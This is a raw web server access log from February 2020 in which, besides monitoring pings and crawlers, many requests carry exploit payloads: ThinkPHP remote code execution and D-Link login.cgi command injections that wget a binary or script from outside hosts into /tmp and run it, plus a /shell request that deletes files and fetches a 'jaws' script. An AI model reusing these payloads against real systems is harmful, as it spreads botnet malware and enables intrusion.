154.202.13.17 - - [04/Feb/2020:22:57:13 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:13 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:13 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:14 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:14 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [04/Feb/2020:22:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.36.177.246 - - [04/Feb/2020:22:59:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.245.171 - - [04/Feb/2020:23:00:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.210.38.173 - - [04/Feb/2020:23:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.54.139.158 - - [04/Feb/2020:23:00:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [04/Feb/2020:23:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.64 - - [04/Feb/2020:23:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:23:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.216.225.40 - - [04/Feb/2020:23:02:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.230.187 - - [04/Feb/2020:23:03:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.130.225 - - [04/Feb/2020:23:06:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.25.188 - - [04/Feb/2020:23:07:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.158.166 - - [04/Feb/2020:23:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.158.166 - - [04/Feb/2020:23:07:35 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.158.166 - - [04/Feb/2020:23:07:35 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.158.166 - - [04/Feb/2020:23:07:35 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.158.166 - - [04/Feb/2020:23:07:36 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
212.91.246.72 - - [04/Feb/2020:23:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.149.160.10 - - [04/Feb/2020:23:08:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:23:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.156.110.129 - - [04/Feb/2020:23:08:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
202.91.78.14 - - [04/Feb/2020:23:08:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:23:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.194 - - [04/Feb/2020:23:10:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.84.233.59 - - [04/Feb/2020:23:14:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.137.201 - - [04/Feb/2020:23:14:30 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [04/Feb/2020:23:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.254.56.204 - - [04/Feb/2020:23:16:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.180.31.164 - - [04/Feb/2020:23:16:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:23:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [04/Feb/2020:23:22:44 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [04/Feb/2020:23:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.124.65 - - [04/Feb/2020:23:30:10 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:23:30:11 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-nark.ru/narko" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:23:30:11 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:23:30:11 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-nark.ru/narko" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:23:30:11 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:23:30:11 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-nark.ru/narko" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
178.88.196.22 - - [04/Feb/2020:23:30:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.152.23.31 - - [04/Feb/2020:23:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
102.152.23.31 - - [04/Feb/2020:23:32:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.34.177.103 - - [04/Feb/2020:23:34:51 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Mozilla/5.01732016 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
46.237.27.193 - - [04/Feb/2020:23:35:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:23:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.231.173.225 - - [04/Feb/2020:23:37:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.1.93.82 - - [04/Feb/2020:23:38:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.213.249 - - [04/Feb/2020:23:41:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [04/Feb/2020:23:42:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:23:42:08 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [04/Feb/2020:23:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [04/Feb/2020:23:42:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:23:43:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [04/Feb/2020:23:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.122.71.19 - - [04/Feb/2020:23:44:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:23:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.64 - - [04/Feb/2020:23:46:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:23:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [04/Feb/2020:23:48:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:23:48:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:23:48:10 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [04/Feb/2020:23:48:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [04/Feb/2020:23:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.64 - - [04/Feb/2020:23:50:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [04/Feb/2020:23:50:09 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [04/Feb/2020:23:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.180.31.164 - - [04/Feb/2020:23:51:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:23:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.48.254 - - [04/Feb/2020:23:54:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.208.167.37 - - [04/Feb/2020:23:54:46 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:23:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.255.224.63 - - [04/Feb/2020:23:56:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [04/Feb/2020:23:57:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.230.97 - - [04/Feb/2020:23:58:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:23:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:23:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.88 - - [05/Feb/2020:00:00:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [05/Feb/2020:00:00:10 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [05/Feb/2020:00:00:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [05/Feb/2020:00:00:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
42.113.229.115 - - [05/Feb/2020:00:07:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.52.24 - - [05/Feb/2020:00:11:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.238.27 - - [05/Feb/2020:00:11:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.194.177 - - [05/Feb/2020:00:19:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
